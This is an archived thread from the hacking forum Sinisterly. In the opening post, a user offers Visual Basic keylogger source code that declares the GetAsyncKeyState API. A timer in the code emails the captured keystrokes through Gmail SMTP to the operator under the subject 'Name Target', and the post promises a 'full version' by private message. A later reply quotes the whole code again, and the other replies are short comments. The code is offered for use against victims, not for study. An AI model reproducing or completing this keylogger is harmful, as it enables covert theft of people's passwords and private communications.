+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: NEW Key-logging with Visual Basic direct to gmail (/Thread-NEW-Key-logging-with-Visual-Basic-direct-to-gmail)
NEW Key-logging with Visual Basic direct to gmail - legendqueen - 12-23-2018
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("your email", "your password email ")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("your email", "key Logger")
mail.To.Add("your email")
mail.Subject = ("Name Target")
mail.Body = TextBox1.Text
smtpserver.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
get full version PM
to test this program you have to make use of VM
RE: NEW Key-logging with Visual Basic direct to gmail - reGEN - 12-24-2018
GetAsyncKeyState hmmmmm :thinking_face:
RE: NEW Key-logging with Visual Basic direct to gmail - meganmtouchto - 09-09-2022
[quote="legendqueen" pid='848011' dateline='1545558482']
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("your email", "your password email ")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("your email", "key Logger")
mail.To.Add("your email")
mail.Subject = ("Name Target")
mail.Body = TextBox1.Text
smtpserver.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
get full version PM
to test this program you have to make use of VM
[/quote
NEW Key-logging with Visual Basic direct to gmail
RE: NEW Key-logging with Visual Basic direct to gmail - bumbuls6 - 11-26-2023
The only thing VB has going for it is the basic syntax if you grew on it so it has a sorta nostalgic value ("muh goto").